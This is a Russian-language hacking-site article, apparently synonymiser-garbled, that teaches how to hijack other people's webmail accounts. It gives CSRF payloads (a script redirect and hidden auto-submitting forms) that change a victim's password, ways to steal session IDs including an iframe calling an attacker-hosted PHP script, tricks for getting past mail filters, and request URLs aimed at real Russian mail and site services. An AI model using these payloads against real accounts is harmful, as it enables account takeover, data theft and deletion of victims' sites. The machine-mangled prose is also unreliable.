WWW-ИНТЕРФЕЙС ЭЛЕКТРОННОЙ ПОЧТЫ

Использование материалов сайта разрешается при условии ссылки (для сайтов - гиперссылки) ФОРУМ [СТАТЬИ ДЛЯ ХАКЕРА] [EMail с подменой] [Чаты. Коды. Флуд.] [Faq по Icq терминам] [Проверка Online] [Восстановление контактов] [Xss для новичков] [Лечение Win32.Sector] [Как лечить вирусы] [ICQ безопасность] [Секреты мобилок] [Bluetooth (FAQ и взлом)] [Ломаем мыло (BrutusAET2)] [Угон и защита icq] [Всё для Pinch] [SQL Полный FAQ] [Фишинг] [Brute Forcer] [SQL Injection Tool 4] [Imcaster] [ImTale] [Службы Windows XP] [Взлом чатов] [Анонимность почты] [Как узнать IP компьютера] [Узнаем IP через ICQ] [IRC Hack] [Privacy] [Защита & Взлом] [Взлом EMAIL] [Взлом чайников] [Програмы для взлома] [Как ломать сайты] [Основы хакинга] [Взлом E-MAIL] [Защита от взлома] [Find in WEB Hack] [Взлом и защита webmoney] [Взлом архивовов (программы)] [Защита от вирусов] [Windows с флешки] [Активация Windows 7] [Полезные советы] [Filestorage] [RegEdit (трюки)] [Поисковые ресурсы] [Полезные ссылки] [Free proxy list] [Анонимный серфинг] [Тюнниг Firefox] [Вирус в RFID-хакинге] [Команды Irc] [Убить компьютер] [Склеиваем .exe] [Поднимаем VPN+биллинг] [ICQ IPDBrute Relay Server.] [SQL иньекция] [PHP-include] [SQL инъекция в Oracle] [Взлом Adsl-модемов] [Взлом mail.ru] [Как создать Фейк сайт] [Как искать в google] [Отправить СМС (лечим)] [Мошенничество в спаме ] [Снятие StarForce ] [DDOS ] [Net attacks] [BOOTCD XP (how?)] [Взлом FIREWALL] [Взлом забытого пароля] [XSS новичкам] [Скрипт оплаты IPB] [Лицензионный windows] [Cross Domain Scripting] [Что такое эксплоит] [Как стать хакером] [В сетях спецслужб] [Повышение BL] [Перенос почты] [Уголовный кодекс] [Написание трейнеров] [Нахождение по мобилке] [Звуковые сигналы] [Скрипты админа]

Поскольку методы, рассматриваемые в этой статье давно известны бывалым юзерам, однако уязвимости, позволяющие со стопроцентной гарантией осуществить взлом всюду устранены, она нацелена в первую очередь на ознакомление с принципами труда Web-почты (и её недостатками с точки зрения безопасности) начинающими.

Рассмотрим самолично принцип, по которому производится взлом почтового ящика чрез WWW. Мы владеем сервер www.po4ta.ru также нам нужно проникнуть в почтовый шкатулка user@po4ta.ru. Регистрируем аккаунт на этом бла бла сервере test@po4ta.ru также главным занятием заходим в настройки нашего новоиспеченого ящика. Наибольший интерес для нас представляет опция "Смена пароля", в каком месте предлагается ввести новоиспеченный пароль, подтвердить его также отправить данные.

Код такой HTML-страницы может выглядеть следующим образом:

Здесь change_pass.php- серверный скрипт, который принимает значения pass1, pass2 (пароль с подтверждением) также username (содержимое скрытого поля, которое указывает на каком именно ящике производится смена пароля)
Если сформировать соответсвующий GET-запрос, то полчутся следующая строка:
http://po4ta.ru/change_pass.php?username=test&pass1=НОВЫЙ_ПАРОЛЬ&pass2=НОВЫЙ_ПАРОЛЬ

Теперь вставим данную ссылку в адресную строку текущего окна нашего браузера, а также отошлем данные на сервер. В результате мы приобретаем извещение о том, что пароль в ящике test@po4ta.ru успешно изменен. А что, если попробовать подделать значение переменной username а также сменить пароль на интересующем нас ящике. Отсылаем:
http://po4ta.ru/change_pass.php?username=user&pass1=НОВЫЙ_ПАРОЛЬ&pass2=НОВЫЙ_ПАРОЛЬ
Сервер скорее всего выдаст нам сообщение типа "Вы произвели доступ к ресурсам, требующим авторизации" также тп. Это означает, что change_pass.php, какой обрабатывает запросы, установил, что cookies, записаные на наш диск в истоке сеанса труда с почтой соответсвуют пользователю test@po4ta.ru, но никоим образом никак не user@po4ta.ru. Помимо cookies идентификация пользователя может производиться по IP-адресу либо специальному ID-ключу, о котором будет рассказано позже.

Значит пользователь вынужден отправить запрос сам, с ящика user@po4ta.ru. "Заставить" пользователя сделать это, можно послав ему послание с JavaScript-кодом, при изобретении которого данные автоматически отправлены на сервер с его IP также cookies. Примеры такого кода:

<P><CODE><FONT color=#cccccc><Script><BR>location="http://po4ta.ru/change_pass.php?username=<B>user</B>&pass1=НОВЫЙ_ПАРОЛЬ&pass2=НОВЫЙ_ПАРОЛЬ";<BR></Script></FONT></CODE></P>

Или методом POST:

<CODE><FONT color=#cccccc><form method=Post action="http://po4ta.ru/change_pass.php" onMouseOver=submit();><BR><input type="hidden" name="username" value="user"><BR><input type="hidden" name="pass1" value="НОВЫЙ_ПАРОЛЬ"><BR><input type="hidden" name="pass2" value="НОВЫЙ_ПАРОЛЬ"><BR></form><BR></FONT></CODE></P>

Все переменные задаем в скрытых полях, также при наведении пользователем курсора мыши на тело нашего письма, обработчик событий OnMouseOver обновляет данные. Можно полностью замаскировать процесс смены пароля, модернизировав код:

Почтовые фильтры

Другие уязвимости

Следующей существенной прорехой в политике безопасности почтовых сервисов является смена секретного задачи также возражения, ежели эта операция никак не защищена подтверждением паролем. Мы можем отрезать юзера от его почтового ящика, обновив данные уже известными нам методами, однако потом, воспользовавшись службой напоминания пароля установить свой пароль.

Еще чаще, одним лишь только нажатием кнопки, в некоторых почтовиках удаляется учетная запись пользователя. Типичный образец - www.yandex.ru. На удаление ящика запрашивается пароль, а вот на удаление сопряженного сервиса - сайта *.narod.ru - пароль никак не требуется. Элементарно, разрешено удалить сайт "жертвы" с помощью его почтового ящика, выполнив запрос: http://narod.yandex.ru/registration/unlogin.xhtml?DeleteLogin=%C4%E0, который разрешено спрятать в тэге IMG.

Несанкционированное изменение других настроек хоть а также представляют значительно меньшую риск, но могут косвенно повлиять на захват почтвого ящика
Изменить личную информацию (имя также т.д.)
Изменить контактную информацию
Установить фильтр
Очистить папку XXXX
Отослать письмо от имени пользователя
Установить сборщик POP3

ID-КЛЮЧ

Дальше рассмотрим ситуацию, в какое время чуждый ID для нас бесполезен вследствие того, что ему ставится в соответсвие IP адрес пользователя. Вернемся к системе, в какое время пользователь сам, со своим IP, меняет настройки ящика, открыв наше письмо. Предположим кушать такая опция Заблокировать всю входящую почту, также нам хотелось бы включить её на чьем-то ящике.

<P><CODE><FONT color=#cccccc><form action="http://www.newpo4ta.ru/filter.php" method="POST"><BR><input type="hidden" name="id" value="a349f8d7be67c90af8873fc7ad803cf5"><BR><input type="checkbox" name="close" value="off"><BR><input type="submit" value="Заблокировать"><BR></form><BR></P></CODE></FONT>

Идентификатор передается в скрытом поле "id", поэтому нынче , дабы изменить настройки, нужно в реальном поры получить его также подставить. Первое, что прибегает в голову-JavaScript. В нем кушать специализированный объект location, также он содержит URL активного акта. Для получения из поля location нашего идентификатора, воспользуемся функцией substr( ).

<P><CODE><FONT color=#cccccc><script><BR>var stroka=location+'#';<BR>var str=stroka.substr(x, x1);<BR></script><BR></CODE></FONT></P>

Напрямую substr( ) с location никак не трудится, поэтому добавляем к нему символ #, присваиваем одной переменной, однако потом в другую переменную заносим результат вычисления, то кушать вырезанный ID-ключ. Аргументы substr( ): x-позиция от истока строки, x1-позиция от x. В строке http://www.newpochta.ru/session?id=a349f8d7be67c90af8873fc7ad803cf5&folder=inbox идентификатор начинается с 36-й позиции также владеет 32 символа, поэтому доводы примет вид substr(36, 32);

Другой средство получения ID - снова бла бла использовать скрипт на своем хосте. Прописываем в отсылаемом файле:


<CODE><FONT color=#cccccc><iframe src="http://nash_sait.server/script.php"></iframe> </CODE></FONT><BR>Файл script.php:<BR><CODE><FONT color=#cccccc>< ? <BR>$addr = getenv("HTTP_REFERER"); //получаем адрес<BR>$split = substr("$url", 36, 32); // вырезаем ключ<BR>$url = "http://www.newpo4ta.ru/session?id=$split&close=on"; //формируем URL изменения настройки<BR>echo"<script>location='$url'</script>" // отправляем запрос<BR> ? ></CODE></FONT></P>

ЕЩЕ РАЗ О ФИЛЬТРАХ

Если на веб-интерфейсах с cookie-идентификацией мы посылали стандартные запросы на смену настроек, также могли использовать простые тэги HTML, то при труду с ID-ключами начинается прямая необходимость внедрения в письмо JavaScript- кода, но разработчики почтовых серверов перекрывают такую возможность фильтрами, о них говорилось выше. Теперь поговорим о способах надувательства этих фильтров. Воспользоваться никак не совсем привычными методами, которые программисты зачастую упускают из виду:

<P><CODE><FONT color=#cccccc><iframe src="javascript: .... "><BR><img src="about:<script> .... </script>"><BR><META HTTP-EQUIV="Refresh" CONTENT="x; URL=javascript: ... "><BR><OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><BR><PARAM NAME="URL" VALUE="javascript: .... "> </OBJECT><BR></CODE></FONT>

Фактически, JS тут "прячется" в значениях аттрибутов тэгов, которые работают с URL а также генерируется динамически, при загрузке указанного адреса.

Иногда фильтр разрешено обмануть, мало скрыв систему из вредоносного html, так на www.mail.ru внутрь всякого тэга разрешено внедрить обработчик событий JS. В номральном режиме строка

<FONT color=#cccccc><font size=7 onMouseOver=" .... ";>ТЕКСТ</font></FONT> будет заменена на <FONT color=#cccccc><font size=7 XonMouseOver=" .... ";>ТЕКСТ</font></FONT>

Но ежели убрать пробел между значением аттрибута и обработчиком, то фильтр пропустит такую конструкцию:

<FONT color=#cccccc><font size='7<B>'</B>onMouseOver=" .... ";>ТЕКСT</font></FONT>.

Изъян такого способа в том, что в некоторой степени появляется привязка к определенному браузеру, поскольку иной раз им свойственно по-разному интерпретировать HTML-код.
Последующий значительный момент - в каком виде отослать письмо. Если прикрепить html-файл, то целостность послания сохранится в аттачменте, но в теле сообщения нужные параметры никак не отобразятся. Поэтому целесообразно отправлять в HTML-формате. Такую функцию поддерживают некоторые WWW-интерфейсы также почтовые программы POP3. В диспетчере сообщений при этом возле послания никак не станет не двигаться значок прикрепленного файла.

ПОДВОДЯ ИТОГИ

Итак, задавшись целью проникнуть в чуждый почтовый ящик, в первую очередь нужно исследовать систему на наличие уязвимостей. Иногда программеры допускают существенные погрешности в написании сценариев. Приблизительно каждая служба владеет функцию возобновления забытых паролей. Обычно на первой странице вводится логин, на другой возражение на секретный задача, однако на третьей, ежели ответ правильный - смена пароля. Допустим, на интересующей нас системе имеется серьезная прореха в системе безопасности, однако именно: мы ответили правильно на секретный задача, также сгенерировалась новая страница с формой смены пароля, однако при рассмотрении HTML этой страницы, обнаружили, что распознавание пользователя происходит только по переменной в поле "username", именно, подставив другое имя пользователя, меняем пароль в чужом ящике. Либо такой вариация: в обмен на правильный возражение выдается идентификатор, похожий тому, что используется в течении сеанса труда с почтой. Возможно, получив актуальный ID-ключ также подставив в скрытые поля, сервер примет новые настройки. Уповать на такие упущения, я думаю, вздорно, потому что за этим следят строго также подобные погрешности не повторяются. Поэтому будем искать уязвимости в самом принципе организации сервиса.

Если присмотреться к web- почте на www.newmail.ru (nm.ru, pochta.ru, orc.ru, nightmail.ru, hotmail.ru), то там как однажды имеются такие недостатки. Обратимся опять к опции возобновления пароля. Предлагается ответить на секретный задача, также если ответ безошибочный - пароль пересылается на указанный в настройках e-mail. И хоть ответ также e-mail находятся в разных страницах внутри почты, представляется возможным изменить также то также другое, тем более фильтр никак не вырезает даже JavaScript. В дополнение ко всему при возобновлении пароля выводится еще одна форма, в неё нужно ввести как разрешено больше данных (они так бла бла находятся в настройках ящика) а также отправить правителю. Как заранее присвоить любые данные нужному пользователю - уже известно.

Естественно, в большинстве почтовиков все перекрыто, но лазейки кушать прктически всегда. И ежели в проникновении в шкатулка пользователя для нас есть большой интерес либо необходимость, то получив о нём как разрешено больше информации и разработав своеобразную "стратегическую" схему из представленных в этой статье методов, разрешено добиться неплохих результатов.
Вот реальные примеры. Злоумышленник хочет получить пароль от конкретного сервиса, которым пользуется "жертва" (не обязательно почтовый, например хостинг). При этом ему достоверно известно что забытый пароль высылается на user@pisem.net. Он отправляет на этот бла бла шкатулка послание с html-тэгами:

Сохранилась возможность проникнуть с такой бла бла целью также в аккаунт на mail.ru. Одним посланием сбрасываем настройки безопасности

<FONT color=#cccccc>http://win.mail.ru/cgi-bin/security?set=1</FONT>.

Теперь при каждом следующем заходе пользователю выдается ID-ключ, причем IP-адрес не учитывается, однако как уже было рассмотрено, ежели перехватить его с помощью сниффера, то несложно оказаться внутри также прочесть нужное письмо.

В заключение еще однажды отмечу, что информация, изложеная здесь, давным-давно известна более либо менее грамотным пользователям, также все бла бла подход ко взлому ящика чрез html, на мой взор также сегодня отчуждает больше результатов нежели БрутФорс либо социальная инженерия. Нужно всего лишь только найти слабое помещение а также способ воспользоваться им.